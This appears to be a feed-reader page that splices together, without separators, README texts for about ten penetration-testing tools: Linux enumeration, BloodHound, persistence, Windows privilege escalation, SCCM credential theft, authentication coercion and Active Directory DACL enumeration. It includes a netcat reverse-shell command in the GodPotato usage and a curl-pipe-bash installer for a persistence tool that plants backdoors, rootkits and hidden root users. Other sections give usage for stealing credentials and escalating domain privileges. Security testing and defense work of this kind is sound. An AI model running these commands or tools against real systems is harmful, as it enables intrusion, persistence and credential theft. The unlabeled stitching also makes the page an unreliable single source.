Login
First, a couple of useful oneliners ;)
FreshRSS wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh
curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh
Note that since version 2.10 you can serve the script to other hosts with the -S flag!
Linux enumeration tools for pentesting and CTFs
This project was inspired by https://github.com/rebootuser/LinEnum and uses many of its tests.
Unlike LinEnum, lse tries to gradualy expose the information depending on its importance from a privesc point of view.
This shell script will show relevant information about the security of the local Linux system, helping to escalate privileges.
From version 2.0 it is mostly POSIX compliant and tested with shellcheck and posh.
It can also monitor processes to discover recurrent program executions. It monitors while it is executing all the other tests so you save some time. By default it monitors during 1 minute but you can choose the watch time with the -p parameter.
It has 3 levels of verbosity so you can control how much information you see.
In the default level you should see the highly important security flaws in the system. The level 1 (./lse.sh -l1) shows interesting information that should help you to privesc. The level 2 (./lse.sh -l2) will just dump all the information it gathers about the system.
By default it will ask you some questions: mainly the current user password (if you know it ;) so it can do some additional tests.
The idea is to get the information gradually.
First you should execute it just like ./lse.sh. If you see some green yes!, you probably have already some good stuff to work with.
If not, you should try the level 1 verbosity with ./lse.sh -l1 and you will see some more information that can be interesting.
If that does not help, level 2 will just dump everything you can gather about the service using ./lse.sh -l2. In this case you might find useful to use ./lse.sh -l2 | less -r.
You can also select what tests to execute by passing the -s parameter. With it you can select specific tests or sections to be executed. For example ./lse.sh -l2 -s usr010,net,pro will execute the test usr010 and all the tests in the sections net and pro.
Use: ./lse.sh [options]
OPTIONS
-c Disable color
-i Non interactive mode
-h This help
-l LEVEL Output verbosity level
0: Show highly important results. (default)
1: Show interesting results.
2: Show all gathered information.
-s SELECTION Comma separated list of sections or tests to run. Available
sections:
usr: User related tests.
sud: Sudo related tests.
fst: File system related tests.
sys: System related tests.
sec: Security measures related tests.
ret: Recurren tasks (cron, timers) related tests.
net: Network related tests.
srv: Services related tests.
pro: Processes related tests.
sof: Software related tests.
ctn: Container (docker, lxc) related tests.
cve: CVE related tests.
Specific tests can be used with their IDs (i.e.: usr020,sud)
-e PATHS Comma separated list of paths to exclude. This allows you
to do faster scans at the cost of completeness
-p SECONDS Time that the process monitor will spend watching for
processes. A value of 0 will disable any watch (default: 60)
-S Serve the lse.sh script in this host so it can be retrieved
from a remote host.
Also available in webm video
Direct execution oneliners
bash <(wget -q -O - "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l2 -i
bash <(curl -s "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l1 -i
BloodHound is a monolithic web application composed of an embedded React frontend with Sigma.js and a Go based REST API backend. It is deployed with a Postgresql application database and a Neo4j graph database, and is fed by the SharpHound and AzureHound data collectors.
BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to identify quickly. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory or Azure environment.
BloodHound CE is created and maintained by the BloodHound Enterprise Team. The original BloodHound was created by @_wald0, @CptJesus, and @harmj0y.
The easiest way to get up and running is to use our pre-configured Docker Compose setup. The following steps will get BloodHound CE up and running with the least amount of effort.
curl -L https://ghst.ly/getbhce | docker compose -f - up
http://localhost:8080/ui/login. Login with a username of admin and the randomly generated password from the logsNOTE: going forward, the default docker-compose.yml example binds only to localhost (127.0.0.1). If you want to access BloodHound outside of localhost, you'll need to follow the instructions in examples/docker-compose/README.md to configure the host binding for the container.
# Verify if Docker Engine is Running
docker info
# Attempt to stop Neo4j Service if running (on Windows)
Stop-Service "Neo4j" -ErrorAction SilentlyContinue
https://github.com/SpecterOps/BloodHound/assets/12970156/ea9dc042-1866-4ccb-9839-933140cc38b9
Please check out the Contact page in our wiki for details on how to reach out with questions and suggestions.
VED (Vault Exploit Defense)-eBPF leverages eBPF (extended Berkeley Packet Filter) to implement runtime kernel security monitoring and exploit detection for Linux systems.
eBPF is an in-kernel virtual machine that allows code execution in the kernel without modifying the kernel source itself. eBPF programs can be attached to tracepoints, kprobes, and other kernel events to efficiently analyze execution and collect data.
VED-eBPF uses eBPF to trace security-sensitive kernel behaviors and detect anomalies that could indicate an exploit or rootkit. It provides two main detections:
wCFI (Control Flow Integrity) traces the kernel call stack to detect control flow hijacking attacks. It works by generating a bitmap of valid call sites and validating each return address matches a known callsite.
PSD (Privilege Escalation Detection) traces changes to credential structures in the kernel to detect unauthorized privilege escalations.
VED-eBPF attaches eBPF programs to kernel functions to trace execution flows and extract security events. The eBPF programs submit these events via perf buffers to userspace for analysis.
wCFI traces the call stack by attaching to functions specified on the command line. On each call, it dumps the stack, assigns a stack ID, and validates the return addresses against a precomputed bitmap of valid call sites generated from objdump and /proc/kallsyms.
If an invalid return address is detected, indicating a corrupted stack, it generates a wcfi_stack_event containing:
* Stack trace
* Stack ID
* Invalid return address
This security event is submitted via perf buffers to userspace.
The wCFI eBPF program also tracks changes to the stack pointer and kernel text region to keep validation up-to-date.
PSD traces credential structure modifications by attaching to functions like commit_creds and prepare_kernel_cred. On each call, it extracts information like:
* Current process credentials
* Hashes of credentials and user namespace
* Call stack
It compares credentials before and after the call to detect unauthorized changes. If an illegal privilege escalation is detected, it generates a psd_event containing the credential fields and submits it via perf buffers.
VED-eBPF requires:
VED-eBPF is currently a proof-of-concept demonstrating the potential for eBPF-based kernel exploit and rootkit detection. Ongoing work includes:
VED-eBPF shows the promise of eBPF for building efficient, low-overhead kernel security monitoring without kernel modification. By leveraging eBPF tracing and perf buffers, critical security events can be extracted in real-time and analyzed to identify emerging kernel threats for cloud native envionrment.
A Linux persistence tool!
A powerful and versatile Linux persistence script designed for various security assessment and testing scenarios. This script provides a collection of features that demonstrate different methods of achieving persistence on a Linux system.
SSH Key Generation: Automatically generates SSH keys for covert access.
Cronjob Persistence: Sets up cronjobs for scheduled persistence.
Custom User with Root: Creates a custom user with root privileges.
RCE Persistence: Achieves persistence through remote code execution.
LKM/Rootkit: Demonstrates Linux Kernel Module (LKM) based rootkit persistence.
Bashrc Persistence: Modifies user-specific shell initialization files for persistence.
Systemd Service for Root: Sets up a systemd service for achieving root persistence.
LD_PRELOAD Privilege Escalation Config: Configures LD_PRELOAD for privilege escalation.
Backdooring Message of the Day / Header: Backdoors system message display for covert access.
Modify an Existing Systemd Service: Manipulates an existing systemd service for persistence.
Clone this repository to your local machine:
git clone https://github.com/Trevohack/DynastyPersist.git
One linear
curl -sSL https://raw.githubusercontent.com/Trevohack/DynastyPersist/main/src/dynasty.sh | bash
For support, email spaceshuttle.io.all@gmail.com or join our Discord server.
https://discord.gg/WYzu65Hp
Thank You!
Based on the history of Potato privilege escalation for 6 years, from the beginning of RottenPotato to the end of JuicyPotatoNG, I discovered a new technology by researching DCOM, which enables privilege escalation in Windows 2012 - Windows 2022, now as long as you have "ImpersonatePrivilege" permission. Then you are "NT AUTHORITY\SYSTEM", usually WEB services and database services have "ImpersonatePrivilege" permissions.
Potato privilege escalation is usually used when we obtain WEB/database privileges. We can elevate a service user with low privileges to "NT AUTHORITY\SYSTEM" privileges. However, the historical Potato has no way to run on the latest Windows system. When I was researching DCOM, I found a new method that can perform privilege escalation. There are some defects in rpcss when dealing with oxid, and rpcss is a service that must be opened by the system. , so it can run on almost any Windows OS, I named it GodPotato
Windows Server 2012 - Windows Server 2022 Windows8 - Windows 11
GodPotato -cmd "cmd /c whoami"
Customize Clsid and execute commands
Execute reverse shell commands
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
zcgonvh
skay
PXEThief is a set of tooling that implements attack paths discussed at the DEF CON 30 talk Pulling Passwords out of Configuration Manager (https://forum.defcon.org/node/241925) against the Operating System Deployment functionality in Microsoft Endpoint Configuration Manager (or ConfigMgr, still commonly known as SCCM). It allows for credential gathering from configured Network Access Accounts (https://docs.microsoft.com/en-us/mem/configmgr/core/plan-design/hierarchy/accounts#network-access-account) and any Task Sequence Accounts or credentials stored within ConfigMgr Collectio n Variables that have been configured for the "All Unknown Computers" collection. These Active Directory accounts are commonly over permissioned and allow for privilege escalation to administrative access somewhere in the domain, at least in my personal experience.
Likely, the most serious attack that can be executed with this tooling would involve PXE-initiated deployment being supported for "All unknown computers" on a distribution point without a password, or with a weak password. The overpermissioning of ConfigMgr accounts exposed to OSD mentioned earlier can then allow for a full Active Directory attack chain to be executed with only network access to the target environment.
python pxethief.py -h
pxethief.py 1 - Automatically identify and download encrypted media file using DHCP PXE boot request. Additionally, attempt exploitation of blank media password when auto_exploit_blank_password is set to 1 in 'settings.ini'
pxethief.py 2 <IP Address of DP Server> - Coerce PXE Boot against a specific MECM Distribution Point server designated by IP address
pxethief.py 3 <variables-file-name> <Password-guess> - Attempt to decrypt a saved media variables file (obtained from PXE, bootable or prestaged media) and retrieve sensitive data from MECM DP
pxethief.py 4 <variables-file-name> <policy-file-path> <password> - Attempt to decrypt a saved media variables file and Policy XML file retrieved from a stand-alone TS media
pxethief.py 5 <variables-file-name> - Print the hash corresponding to a specified media variables file for cracking in Hashcat
pxethief.py 6 <identityguid> <identitycert-file-name> - Retrieve task sequences using the values obtained from registry keys on a DP
pxethief.py 7 <Reserved1-value> - Decrypt stored PXE password from SCCM DP registry key (reg query HKLM\software\microsoft\sms\dp /v Reserved1)
pxethief.py 8 - Write new default 'settings.ini' file in PXEThief directory
pxethief.py 10 - Print Scapy interface table to identify interface indexes for use in 'settings.ini'
pxethief.py -h - Print PXEThief help text
pxethief.py 5 <variables-file-name> should be used to generate a 'hash' of a media variables file that can be used for password guessing attacks with the Hashcat module published at https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module.
A file contained in the main PXEThief folder is used to set more static configuration options. These are as follows:
[SCAPY SETTINGS]
automatic_interface_selection_mode = 1
manual_interface_selection_by_id =
[HTTP CONNECTION SETTINGS]
use_proxy = 0
use_tls = 0
[GENERAL SETTINGS]
sccm_base_url =
auto_exploit_blank_password = 1
automatic_interface_selection_mode will attempt to determine the best interface for Scapy to use automatically, for convenience. It does this using two main techniques. If set to 1 it will attempt to use the interface that can reach the machine's default GW as output interface. If set to 2, it will look for the first interface that it finds that has an IP address that is not an autoconfigure or localhost IP address. This will fail to select the appropriate interface in some scenarios, which is why you can force the use of a specific inteface with 'manual_interface_selection_by_id'.manual_interface_selection_by_id allows you to specify the integer index of the interface you want Scapy to use. The ID to use in this file should be obtained from running pxethief.py 10.sccm_base_url is useful for overriding the Management Point that the tooling will speak to. This is useful if DNS does not resolve (so the value read from the media variables file cannot be used) or if you have identified multiple Management Points and want to send your traffic to a specific one. This should be provided in the form of a base URL e.g. http://mp.configmgr.com instead of mp.configmgr.com or http://mp.configmgr.com/stuff.auto_exploit_blank_password changes the behaviour of pxethief 1 to automatically attempt to exploit a non-password protected PXE Distribution Point. Setting this to 1 will enable auto exploitation, while setting it to 0 will print the tftp client string you should use to download the media variables file. Note that almost all of the time you will want this set to 1, since non-password protected PXE makes use of a binary key that is sent in the DHCP response that you receive when you ask the Distribution Point to perform a PXE boot.Not implemented in this release
pip install -r requirements.txt)pxethief.py 1 or pxethief.py 2 to identify and generate a media variables file, make sure the interface used by the tool is set to the correct one, if it is not correct, manually set it in 'settings.ini' by identifying the right index ID to use from pxethief.py 10
pxethief.py and the address of the proxy can be set on line 693. I am planning to move this feature to be configurable in 'settings.ini' in the next update to the code basepywin32 in order to utilise some built-in Windows cryptography functions. This is not available on Linux, since the Windows cryptography APIs are not available on Linux :P The Scapy code in pxethief.py, however, is fully functional on Linux, but you will need to patch out (at least) the include of win32crypt to get it to run under LinuxExpect to run into issues with error handling with this tool; there are subtle nuances with everything in ConfigMgr and while I have improved the error handling substantially in preparation for the tool's release, this is in no way complete. If there are edge cases that fail, make a detailed issue or fix it and make a pull request :) I'll review these to see where reasonable improvements can be made. Read the code/watch the talk and understand what is going on if you are going to run it in a production environment. Keep in mind the licensing terms - i.e. use of the tool is at your own risk.
Identifying and retrieving credentials from SCCM/MECM Task Sequences - In this post, I explain the entire flow of how ConfigMgr policies are found, downloaded and decrypted after a valid OSD certificate is obtained. I also want to highlight the first two references in this post as they show very interesting offensive SCCM research that is ongoing at the moment.
DEF CON 30 Slides - Link to the talk slides
Copyright (C) 2022 Christopher Panayi, MWR CyberSec
autobloody is a tool to automatically exploit Active Directory privilege escalation paths shown by BloodHound.
This tool automates the AD privesc between two AD objects, the source (the one we own) and the target (the one we want) if a privesc path exists in BloodHound database. The automation is composed of two steps:
bloodyAD packageBecause autobloody relies on bloodyAD, it supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket or certificates and binds to LDAP services of a domain controller to perform AD privesc.
First if you run it on Linux, you must have libkrb5-dev installed on your OS in order for kerberos to work:
# Debian/Ubuntu/Kali
apt-get install libkrb5-dev
# Centos/RHEL
yum install krb5-devel
# Fedora
dnf install krb5-devel
# Arch Linux
pacman -S krb5A python package is available:
pip install autobloodyOr you can clone the repo:
git clone --depth 1 https://github.com/CravateRouge/autobloody
pip install .First data must be imported into BloodHound (e.g using SharpHound or BloodHound.py) and Neo4j must be running.
⚠️-ds and -dt values are case sensitive
Simple usage:
autobloody -u john.doe -p 'Password123!' --host 192.168.10.2 -dp 'neo4jP@ss' -ds 'JOHN.DOE@BLOODY.LOCAL' -dt 'BLOODY.LOCAL'Full help:
[bloodyAD]$ ./autobloody.py -h
usage: autobloody.py [-h] [--dburi DBURI] [-du DBUSER] -dp DBPASSWORD -ds DBSOURCE -dt DBTARGET [-d DOMAIN] [-u USERNAME] [-p PASSWORD] [-k] [-c CERTIFICATE] [-s] --host HOST
AD Privesc Automation
options:
-h, --help show this help message and exit
--dburi DBURI The host neo4j is running on (default is "bolt://localhost:7687")
-du DBUSER, --dbuser DBUSER
Neo4j username to use (default is "neo4j")
-dp DBPASSWORD, --dbpassword DBPASSWORD
Neo4j password to use
-ds DBSOURCE, --dbsource DBSOURCE
Case sensitive label of the source node (name property in bloodhound)
-dt DBTARGET, --dbtarget DBTARGET
Case sensitive label of the target node (name property in bloodhound)
-d DOMAIN, --domain DOMAIN
Domain used for NTLM authentication
-u USERNAME, --username USERNAME
Username used for NTLM authentication
-p PASSWORD, --password PASSWORD
Cleartext password or LMHASH:NTHASH for NTLM authentication
-k, --kerberos
-c CERTIFICATE, --certificate CERTIFICATE
Certificate authentication, e.g: "path/to/key:path/to/cert"
-s, --secure Try to use LDAP over TLS aka LDAPS (default is LDAP)
--host HOST Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)First a privesc path is found using the Dijkstra's algorithm implemented into the Neo4j's GDS library. The Dijkstra's algorithm allows to solve the shortest path problem on a weighted graph. By default the edges created by BloodHound don't have weight but a type (e.g MemberOf, WriteOwner). A weight is then added to each edge accordingly to the type of edge and the type of node reached (e.g user,group,domain).
Once a path is generated, autobloody will connect to the DC and execute the path and clean what is reversible (everything except ForcePasswordChange and setOwner).
For now, only the following BloodHound edges are currently supported for automatic exploitation:
A standalone python3 remake of the classic "tree" command with the additional feature of searching for user provided keywords/regex in files, highlighting those that contain matches. Created for two main reasons:
Example #1: Running a regex that essentially matches strings similar to: password = something against /var/www
Example #2: Using comma separated keywords instead of regex:
Notable features:
-x search actually returns a unique list of all matched patterns in a file. Be careful when combining it with -v (--verbose), try to be specific and limit the length of chars to match.-b.-k and regex -x values. This is useful in case you have gained a limited shell on a machine and want to have "tree" with colored output to look around.filetype_blacklist in eviltree.py which can be used to exclude certain file extensions from content search. By default, it excludes the following: gz, zip, tar, rar, 7z, bz2, xz, deb, img, iso, vmdk, dll, ovf, ova.-i (--interesting-only) option. It instructs eviltree to list only files with matching keywords/regex content, significantly reducing the output length:-x ".{0,3}passw.{0,3}[=]{1}.{0,18}"
-k passw,db_,admin,account,user,token
A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 9 methods.
--analyze, which only lists the vulnerable protocols and functions listening, without performing a coerced authentication.--targets-file
--webdav-host and --webdav-port
$ ./Coercer.py -h
______
/ ____/___ ___ _____________ _____
/ / / __ \/ _ \/ ___/ ___/ _ \/ ___/
/ /___/ /_/ / __/ / / /__/ __/ / v1.6
\____/\____/\___/_/ \___/\___/_/ by @podalirius_
usage: Coercer.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [--hashes [LMHASH]:NTHASH] [--no-pass] [-v] [-a] [-k] [--dc-ip ip address] [-l LISTENER] [-wh WEBDAV_HOST] [-wp WEBDAV_PORT]
(-t TARGET | -f TARGETS_FILE) [--target-ip ip address]
Automatic windows authentication coercer over various RPC calls.
options:
-h, --help show this help message and exit
-u USERNAME, --username USERNAME
Username to authenticate to the endpoint.
-p PASSWORD, --password PASSWORD
Password to authenticate to the endpoint. (if omitted, it will be asked unless -no-pass is specified)
-d DOMAIN, --domain DOMAIN
Windows domain name to authenticate to the endpoint.
--hashes [LMHASH]:NTHASH
NT/LM hashes (LM hash can be empty)
--no-pass Don't ask for password (useful for -k)
-v, --verbose Verbose mode (default: False)
-a, --analyze Analyze mode (default: Attack mode)
-k, --kerberos Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the
command line
--dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-t TARGET, --target TARGET
IP address or hostname of the target machine
-f TARGETS_FILE, --targets-file TARGETS_FILE
IP address or hostname of the target machine
--target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
-l LISTENER, --listener LISTENER
IP address or hostname of the listener machine
-wh WEBDAV_HOST, --webdav-host WEBDAV_HOST
WebDAV IP of the server to authenticate to.
-wp WEBDAV_PORT, --webdav-port WEBDAV_PORT
WebDAV port of the server to authenticate to.
In attack mode (without --analyze option) you get the following output:
After all the RPC calls, you get plenty of authentications in Responder:
Pull requests are welcome. Feel free to open an issue if you want to add other features.
Aced is a tool to parse and resolve a single targeted Active Directory principal's DACL. Aced will identify interesting inbound access allowed privileges against the targeted account, resolve the SIDS of the inbound permissions, and present that data to the operator. Additionally, the logging features of pyldapsearch have been integrated with Aced to log the targeted principal's LDAP attributes locally which can then be parsed by pyldapsearch's companion tool BOFHound to ingest the collected data into BloodHound.
I wrote Aced simply because I wanted a more targeted approach to query ACLs. Bloodhound is fantastic, however, it is extremely noisy. Bloodhound collects all the things while Aced collects a single thing providing the operator more control over how and what data is collected. There's a phrase the Navy Seals use: "slow is smooth and smooth is fast" and that's the approach I tried to take with Aced. The case for detection is reduced by only querying for what LDAP wants to tell you and by not performing an action known as "expensive ldap queries". Aced has the option to forego SMB connections for hostname resolution. You have the option to prefer LDAPS over LDAP. With the additional integration with BloodHound, the collected data can be stored in a familiar format that can be shared with a team. Privilege escalation attack paths can be built by walking backwards from the targeted goal.
Thanks to the below for all the code I stole:
@_dirkjan
@fortaliceLLC
@eloygpz
@coffeegist
@tw1sm
└─# python3 aced.py -h
_____
|A . | _____
| /.\ ||A ^ | _____
|(_._)|| / \ ||A _ | _____
| | || \ / || ( ) ||A_ _ |
|____V|| . ||(_'_)||( v )|
|____V|| | || \ / |
|____V|| . |
|____V|
v1.0
Parse and log a target principal's DACL.
@garrfoster
usage: aced.py [-h] [-ldaps] [-dc-ip DC_IP] [-k] [-no-pass] [-hashes LMHASH:NTHASH] [-aes hex key] [-debug] [-no-smb] target
Tool to enumerate a single target's DACL in Active Directory
optional arguments:
-h, --help show this help message and exit
Authentication:
target [[domain/username[:password]@]<address>
-ldaps Use LDAPS isntead of LDAP
Optional Flags:
-dc-ip DC_IP IP address or FQDN of domain controller
-k, --kerberos Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
credentials cannot be found, it will use the ones specified in the command line
-no-pass don't ask for password (useful for -k)
-hashes LMHASH:NTHASH
LM and NT hashes, format is LMHASH:NTHASH
-aes hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-debug Enable verbose logging.
-no-smb Do not resolve DC hostname through SMB. Requires a FQDN with -dc-ip.
In the below demo, we have the credentials for the corp.local\lowpriv account. By starting enumeration at Domain Admins, a potential path for privilege escalation is identified by walking backwards from the high value target.
And here's how that data looks when transformed by bofhound and ingested into BloodHound.
